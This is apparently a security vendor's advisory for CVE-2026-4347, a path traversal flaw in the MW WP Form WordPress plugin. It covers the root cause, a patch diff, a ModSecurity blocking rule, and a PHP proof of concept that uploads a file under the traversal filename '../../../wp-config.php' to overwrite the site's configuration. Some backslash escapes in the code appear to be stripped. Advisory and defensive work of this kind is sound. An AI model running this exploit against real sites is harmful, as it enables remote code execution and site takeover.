Atomic Edge analysis of CVE-2026-4347:
The MW WP Form plugin for WordPress versions up to and including 5.1.0 contains an unauthenticated arbitrary file move vulnerability. This flaw exists in the file handling mechanism when a form with a file upload field is configured with the ‘Saving inquiry data in database’ option enabled. Attackers can exploit this to move arbitrary files on the server, potentially leading to remote code execution.
Atomic Edge research identifies the root cause in the `generate_user_filepath` function within `/mw-wp-form/classes/models/class.directory.php`. The vulnerable code constructs a file path by joining a user-controlled `$filename` parameter with a base directory using `path_join`. Prior to the patch, the function performed insufficient validation on the `$filename` parameter. It only checked for directory traversal sequences (`../`) after constructing the full path, which could be bypassed. The `move_temp_file_to_upload_dir` function then uses this insecure path generation to move files.
The exploitation method involves an unauthenticated attacker submitting a crafted request to the plugin’s file upload handler. The attacker supplies a `filename` parameter containing a path traversal payload targeting a sensitive file, such as `../../../wp-config.php`. When the plugin processes the upload, it moves the temporary uploaded file to the attacker-specified location, overwriting the target file. This attack requires the form to have a file upload field and for data saving to be enabled, which triggers the vulnerable `move_temp_file_to_upload_dir` function.
The patch in version 5.1.1 adds multiple layers of validation. It normalizes the `$filename` using `wp_normalize_path`. The patch then verifies that the normalized filename equals its basename, ensuring no directory components are present. It also checks for null bytes. Crucially, the patch normalizes the final `$filepath` and the `$user_file_dir`, then uses `strpos` to confirm the final path remains within the intended directory. This path containment check, performed before the traversal sequence check, prevents directory escape regardless of input encoding or separators.
Successful exploitation allows an attacker to move and overwrite arbitrary files on the web server. The primary impact is remote code execution, achieved by moving a malicious file to replace a critical PHP file like `wp-config.php` or a theme/plugin file. This grants the attacker full control of the WordPress site. The vulnerability can also lead to data loss, site defacement, or denial of service by overwriting essential configuration or system files.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/mw-wp-form/classes/functions.php
+++ b/mw-wp-form/classes/functions.php
@@ -43,11 +43,11 @@
/**
* Unify line feed code to n.
*
- * @param sring $string String.
+ * @param string|null $string String.
* @return string
*/
public static function convert_eol( $string ) {
- return preg_replace( "/rn|r|n/", "n", $string );
+ return is_string( $string ) ? preg_replace( "/rn|r|n/", "n", $string ) : '';
}
/**
--- a/mw-wp-form/classes/models/class.akismet.php
+++ b/mw-wp-form/classes/models/class.akismet.php
@@ -107,7 +107,7 @@
$akismet[ $key ] = $value;
}
- $query_string = http_build_query( $akismet, null, '&' );
+ $query_string = http_build_query( $akismet, '', '&' );
if ( is_callable( array( 'Akismet', 'http_post' ) ) ) {
$response = Akismet::http_post( $query_string, 'comment-check' );
} else {
--- a/mw-wp-form/classes/models/class.directory.php
+++ b/mw-wp-form/classes/models/class.directory.php
@@ -145,7 +145,21 @@
return false;
}
- $filepath = path_join( $user_file_dir, $filename );
+ $normalized_filename = wp_normalize_path( $filename );
+ if (
+ wp_basename( $normalized_filename ) !== $normalized_filename ||
+ strstr( $normalized_filename, " " )
+ ) {
+ throw new RuntimeException( '[MW WP Form] Invalid file reference requested.' );
+ }
+
+ $filepath = path_join( $user_file_dir, $filename );
+ $filepath = wp_normalize_path( $filepath );
+ $user_file_dir = trailingslashit( wp_normalize_path( $user_file_dir ) );
+
+ if ( 0 !== strpos( $filepath, $user_file_dir ) ) {
+ throw new RuntimeException( '[MW WP Form] Invalid file reference requested.' );
+ }
if ( str_contains( $filepath, '../' ) || str_contains( $filepath, '..' . DIRECTORY_SEPARATOR ) ) {
throw new RuntimeException( '[MW WP Form] Invalid file reference requested.' );
--- a/mw-wp-form/classes/services/class.redirected.php
+++ b/mw-wp-form/classes/services/class.redirected.php
@@ -171,7 +171,7 @@
}
if ( ! empty( $query_string ) ) {
- return $url . '?' . http_build_query( $query_string, null, '&', PHP_QUERY_RFC3986 );
+ return $url . '?' . http_build_query( $query_string, '', '&', PHP_QUERY_RFC3986 );
}
return $url;
--- a/mw-wp-form/mw-wp-form.php
+++ b/mw-wp-form/mw-wp-form.php
@@ -3,8 +3,9 @@
* Plugin Name: MW WP Form
* Plugin URI: https://mw-wp-form.web-soudan.co.jp
* Description: MW WP Form is shortcode base contact form plugin. This plugin have many features. For example you can use many validation rules, inquiry data saving, and chart aggregation using saved inquiry data.
- * Version: 5.1.0
+ * Version: 5.1.1
* Requires at least: 6.0
+ * Requires PHP: 8.0
* Author: websoudan
* Author URI: https://web-soudan.co.jp/
* Original Author: inc2734
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4347
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10004347,phase:2,deny,status:403,chain,msg:'CVE-2026-4347 - MW WP Form Arbitrary File Move via AJAX',severity:'CRITICAL',tag:'CVE-2026-4347',tag:'MW-WP-Form',tag:'Path-Traversal'"
SecRule ARGS_POST:action "@rx ^mwf_(upload_file|.*submit)$" "chain"
SecRule ARGS_POST:filename "@rx (?i)(?:^|\|/|%2f|%5c|..|%u002e%u002e)(?:..|%u002e%u002e)(?:\|/|%2f|%5c)"
"t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4347 - MW WP Form <= 5.1.0 - Unauthenticated Arbitrary File Move via move_temp_file_to_upload_dir
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// The form must have a file upload field and data saving enabled.
// This PoC targets the AJAX endpoint that handles form submissions.
// The 'action' parameter must match the specific form's AJAX hook.
// The 'filename' parameter is user-controlled and vulnerable to path traversal.
$post_fields = [
'action' => 'mwf_upload_file', // Example AJAX action; may vary per form configuration
'filename' => '../../../wp-config.php', // Path traversal to target WordPress config
// Other required form fields would be included here
];
// A temporary file payload to write. This could be malicious PHP code.
$malicious_content = '<?php phpinfo(); ?>';
$tmp_file = tempnam(sys_get_temp_dir(), 'mwf');
file_put_contents($tmp_file, $malicious_content);
$file_field = [
'uploaded_file' => new CURLFile($tmp_file, 'application/octet-stream', 'payload.txt')
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array_merge($post_fields, $file_field));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
unlink($tmp_file);
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
// If successful, the server's wp-config.php may be overwritten with our payload.
// Verify by accessing http://vulnerable-site.com/wp-config.php?test=1
?>
